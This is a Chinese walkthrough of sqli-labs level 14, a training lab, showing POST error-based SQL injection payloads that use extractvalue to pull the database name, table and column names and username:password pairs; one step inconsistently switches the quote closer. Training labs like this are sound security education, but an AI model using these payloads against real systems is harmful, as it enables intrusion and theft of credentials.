sqli-labs第十四关——“POST报错注入

一:判断注入类型

和上一关一样,输入如下代码,回显报错,其余类型无回显

复制代码
uname=1"&passwd=123

判断为双引号字符型,尝试闭合

判断正确,成功登录

二:开始攻击

1.爆数据库名

复制代码
uname=1" and extractvalue(1,concat(0x7e,(select database())))#&passwd=123

2. 爆表名

复制代码
uname=1" and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())))#&passwd=123

3.爆列名

复制代码
uname=1') and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users')))#&passwd=123

4.爆数据

判断数据量

复制代码
uname=1" and extractvalue(1,concat(0x7e,(select count(*) from users)))#&passwd=123

分两段爆数据

复制代码
uname=1" and extractvalue(1,concat(0x7e, substring((select group_concat(username,0x3a,password) from users),1,32)))#&passwd=123
uname=1" and extractvalue(1,concat(0x7e, substring((select group_concat(username,0x3a,password) from users),32,32)))#&passwd=123

❀❀❀ 完结撒花!! ❀❀❀

相关推荐
Mr. Cao code10 分钟前
MySQL服务器配置与socket连接详解
服务器·数据库·mysql
Yupureki11 分钟前
《MySQL数据库基础》1. 数据库基础
c语言·开发语言·数据库·c++·mysql·oracle·github
杰克尼22 分钟前
苍穹外卖--day08
java·数据库·spring boot·mybatis·notepad++
xyyaihxl25 分钟前
【MySQL】复合查询
数据库·mysql
m0_7166670726 分钟前
NumPy入门:高性能科学计算的基础
jvm·数据库·python
lierenvip41 分钟前
SQL 建表语句详解
java·数据库·sql
zuguangboy42 分钟前
【Oracle-无效的参数绑定】DateTimeOffset映射TIMESTAMP WITH LOCAL TIME ZONE踩坑记
数据库·oracle
未来龙皇小蓝1 小时前
【MySQL-索引调优】02:单列索引
数据库·mysql·性能优化
剑锋所指,所向披靡!1 小时前
MySQL数据的增删改查
java·数据库·mysql
Villiam_AY1 小时前
一次 DNS 端口引发的代理网络和公司内网冲突问题
java·服务器·数据库